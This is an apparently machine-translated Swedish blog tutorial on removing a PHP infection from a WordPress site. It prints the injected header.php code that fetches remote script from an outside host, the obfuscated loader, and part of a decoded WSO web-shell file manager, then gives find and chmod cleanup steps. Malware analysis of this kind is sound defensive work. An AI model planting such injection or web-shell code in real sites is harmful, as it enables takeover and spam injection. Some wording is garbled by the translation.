Denna handledning presenterar ett särskilt fall där en WordPress -blogg har varit virus. Ta bort WordPress PHP -virus.
innehåll
De sista dagarna märkte jag en misstänkt kod som verkar vara ett PHP -virus för WordPress. Följande PHP -kod var närvarande i header.phpföre linjen </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Detta är en PHP -kod som, som visas, försöker återställa innehållet i en resurs på en extern server, men den del som hänvisar till URL: n är ofullständig.
Driftsmekanismen är något mer komplex och gör detta WordPress PHP osynligt virus för besökare på de drabbade platserna. Istället riktar den sig mot sökmotorer (Google) och leder implicit till en betydande minskning av antalet besökare på de berörda webbplatserna.
Malware WordPress PHP Malware Detales
1. Ovanstående kod finns i header.php.
2. En fil dök upp på servern wp-log.php i mappen wp-includes.
3. wp-log.php Innehåller en krypterad kod, men som är relativt lätt att dekryptera.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Avgöra skadlig kod från wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Det verkar vara ett PHP -skadligt skript som innehåller kod för att hantera autentisering och åtgärder på filer och kataloger på en server. Det kan mycket lätt ses att detta skript innehåller variabler som $auth_pass (Autentiseringslösenord), $default_action (Standardåtgärd), $default_use_ajax (standardanvändningen av Ajax) och $default_charset (Standardteckeninställning).
Uppenbarligen har detta skript ett avsnitt som kontrollerar HTTP -användaragenter för att blockera åtkomst till vissa webbrobotar, till exempel sökmotorer. Den har också ett avsnitt som kontrollerar PHP -säkerhetsläget och ställer in vissa arbetschefer.
4. Om wp-log.php nås i webbläsaren visas en webbsida med ett fält av autentisering. Vid första anblicken verkar det vara en filhanterare genom vilken nya filer enkelt kan klättras på målservern.
Cum Deviusezi un webbplats WordPress?
Processen med manuell störning innebär alltid att upptäcka och förstå först, vad som var sårbarhet.
1. Genererar en säkerhetskopia för hela webbplatsen. Det måste innehålla både filer och databas.
2. Bestäm ungefär hur länge viruset har dykt upp och sökningar på webbservern de modifierade eller nya filerna som skapats på ungefärlig tid.
Om du till exempel vill se filerna .php Skapad eller modifierad under den senaste veckan, kör kommandot på servern:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Det är en enkel metod som du kan rabattera WordPress -filerna och de som innehåller skadlig programvara.
3. Kontrollera filen .htaccess av misstänkta direktiv. Skripttillstånd eller exekveringslinjer.
4. Kontrollera databasen. Det är mycket möjligt att vissa WordPress -inlägg och sidor har redigerats med skadlig programvara eller lägger till nya användare med administratörens roll.
5. Kontrollera skrivtillstånd för mappar och filer. chmod och chown.
De rekommenderade behörigheterna är: 644 för filer och 755 för regissörer.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Uppdatera alla WordPress Plugins / WordPress Themes.
Släkt: Fixa Redirect WordPress Hack 2023 (Virus Redirect)
Dessa är metoder “grundläggande” Genom vilken du kan avfärda en webbplats / WordPress -blogg. Om du har problem och behöver hjälp är kommentarrutan öppen.